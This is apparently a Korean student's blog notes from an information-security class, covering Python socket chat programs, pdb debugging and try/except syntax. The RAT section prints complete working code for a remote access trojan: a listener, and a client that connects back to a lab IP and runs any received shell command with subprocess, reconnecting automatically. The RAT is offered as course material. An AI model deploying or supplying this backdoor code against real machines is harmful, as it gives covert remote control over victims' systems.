본문 바로가기
정보보안

정보보안6 6차시

by IT매니절 2024. 9. 22.

*소켓 복습

서버측 소켓
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.bind((host,port))
s.listen(5)
conn, addr = s.accept()
=> 연결대기. conn이 커넥션 소켓, addr은 클라이언트 주소를 의미한다
클라이언트에서 연결 요청이 오면 블로킹 상태가 해제된다.

 

 

 

+ 진행하다 가상환경설치 설정오류 난 것

가상환경 설치시,,,, 똑같은 명령어인데 command not found

sudo apt install python3.11-venv

sudo apt install python3.11-venv: command not found

=> 이유 : 티스토리에 있는 코드를 복사했기 때문. 티스토리에서 뭔가 잘못된 공백문자열이 섞이는 것같다

이럴땐 메모장에 그대로 타이핑하여 다시 시도한다... 

 

 

 

mkfifo
네임드파이프 (이름이 있는)를 생성하는 명령어

 

 

서버

print("클라이언트가 접속했습니다")
conn.send("클라이언트 안녕!".encode('utf-8'))
print(conn.recv(1024).decode('utf-8'))

클라

print(s.recv(1024).decode('utf-8'))
s.send("서버 안녕!".encode('utf-8'))

 

스크립트를 사용해 서버에서 소켓을 생성해놓고

클라이언트에서 스크립트를 사용해 소켓을 연결하여 클라이언트 안녕! -> 서버 안녕! 을 주고받았다

 

서버

print(f"{addr[0]} 클라이언트가 접속했습니다.")
data = input("클라이언트로 전송할 메세지를 입력하세요: ")
conn.send(data.encode('utf-8'))
print(conn.recv(1024).decode('utf-8'))

클라

print(s.recv(1024).decode('utf-8'))
data = input("서버로 전송할 메세지를 입력하세요 : ")
s.send(data.encode('utf-8'))

 

서버에서 이런식으로 연결된 상태에서는LISTEN -> ESTABLISHED로 변경된다

클라이언트도 LISTEN -> ESTABLISHED

 

 

파이썬으로 소켓 프로그래밍

1) 서로 메시지를 주고받는다

2) quit 입력하면 종료된다

서버
print("서버 접속 요청 ... 응답 대기중 ... ")
while isConnect:
    recvData = s.recv(1024).decode('utf-8')
    print(recvData)
    if recvData == 'quit':
        isConnect = False
        print("서버 요청으로 통신을 종료합니다")
     else:
        data = input("서버로 전송할 메세지를 입력하세요 : ")
        s.send(data.encode('utf-8'))
        if data == 'quit':
            isConnect = False
            print("클라이언트 요청으로 통신을 종료합니다")

클라이언트
print("서버 접속 요청 ... 응답 대기중 ... ")
while isConnect:
    recvData = s.recv(1024).decode('utf-8')
    print(recvData)
    if recvData == 'quit':
        isConnect = False
        print("서버 요청으로 통신을 종료합니다")
    else:
        # print(recvData)
        data = input("서버로 전송할 메세지를 입력하세요 : ")
        s.send(data.encode('utf-8'))
        if data == 'quit':
            isConnect = False
            print("클라이언트 요청으로 통신을 종료합니다")

 

실제로 동작한 상태

서버에서 quit 실행, 클라이언트에서 quit 실행 모두 테스트했다

한계점은 반드시 서버에서 먼저 데이터를 보내는 형태라는것. 서로 한번씩 번갈아 메시지는 보내는 형태라는 것.

언제든 메시지를 보내고 받으려면 스레드를 활용해야 하지 않을까... 다만 프로그래밍 수업이 아니어서 더 심화하지는 않는다 

+ quit이 아니라 그냥 강제로 종료가 된 상태를 감지하지 못한다

 

 

python3 -m pdb client3.py

pdb를 이용해 파이썬 코드를 디버깅할 수 있다

ex)

(Pdb) n
클라이언트 요청으로 통신을 종료합니다
> /home/linuxadmin/client3.py(18)<module>()
-> while isConnect:
(Pdb) n
> /home/linuxadmin/client3.py(33)<module>()
-> s.close()
(Pdb) n
--Return--
> /home/linuxadmin/client3.py(33)<module>()->None
-> s.close()

 

n은 next의 축약어이다

gdb랑 비슷하지 않을까 싶음

 

(Pdb) help
Documented commands (type help <topic>):
========================================
EOF    c          d        h         list      q        rv       undisplay
a      cl         debug    help      ll        quit     s        unt
alias  clear      disable  ignore    longlist  r        source   until
args   commands   display  interact  n         restart  step     up
b      condition  down     j         next      return   tbreak   w
break  cont       enable   jump      p         retval   u        whatis
bt     continue   exit     l         pp        run      unalias  where
Miscellaneous help topics:
==========================
exec  pdb

명령어 도움말

 

 

RAT

Remote Access Trojan 혹은 Remote Administration Tool

원격 접근 트로이 목마

피해자 모르게 백그라운드에서 실행

키로깅, 화면 모니터링, 파일 접근, 웹캠 제어 등
피싱 이메일, 악성 첨부파일, 감염된 웹사이트 등을 통해 전파

 

rat_server.py

import socket
import os
import time

port = 8000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', port))
s.listen(1)
while True:
    try:
        os.system("clear")
        print('[*] >>> 서버 대기중 <<<')

        client_conn , info = s.accept()
        print('[+] 새로운 클라이언트 접속 완료: ' + str(info[0]) + ' !')

        try:
            msg = b''
            while msg != 'end':
                try:
                    msg = input(str(info[0]) + ' > ')
                    if(msg == b''):
                        pass
                    else:
                        msg = msg.encode()
                        client_conn.send(msg)
                        recv = client_conn.recv(1024*3)
                        recv = recv.decode()
                        print(recv)
                except BrokenPipeError:
                    print('[-] 클라이언트 연결 종료 ...')
                    break
        except KeyboardInterrupt:
            print('\n[-] 세션 종료')
            msg = 'end'
            msg = msg.encode()
            client_conn.send(msg)
            client_conn.close()
            time.sleep(2)
    except KeyboardInterrupt:
        print('\n[-] 서버 종료 ...')
        break


rat_client.py

import socket
import subprocess
import time
import os
host = '192.168.100.3'
port = 8000
password = '' 

def action():
    cmd = server_conn.recv(1024)
    cmd = cmd.decode()
    proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdout_value = proc.stdout.read() + proc.stderr.read()
    if(stdout_value == b''):
        server_conn.send(b'Done.')
    else:
        server_conn.send(stdout_value)

while(True):
    try:
        server_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_conn.connect((host, port))
        print("[*] 공격자에게 연결 완료 ")
        #loop when get message from server then call function at function action
        while 1:
            try:
                msg = b''
                action()
            except socket.error:
                print("[-] 연결 에러...")
                break
        print("[-] 세션 종료")
        server_conn.close()
        time.sleep(3)
        print("[*] 공격자에게 다시 접속")

    except socket.error:
        print("[-] 공격자에게 접속 실패 ...")
        time.sleep(3)

 

 

try:

  코드

except: 또는 except 에러명:

  코드

else: (생략가능)

  코드

finally: (생략가능)

   코드

 

 

java, c언어의 try-catch 문과 같은 기능을 한다

 

 

'정보보안' 카테고리의 다른 글

정보보안6 8차시  (0) 2024.09.29
정보보안6 7차시  (0) 2024.09.28
정보보안6 5차시  (0) 2024.09.21
정보보안6 4차시  (0) 2024.09.08
정보보안6 3차시  (0) 2024.09.07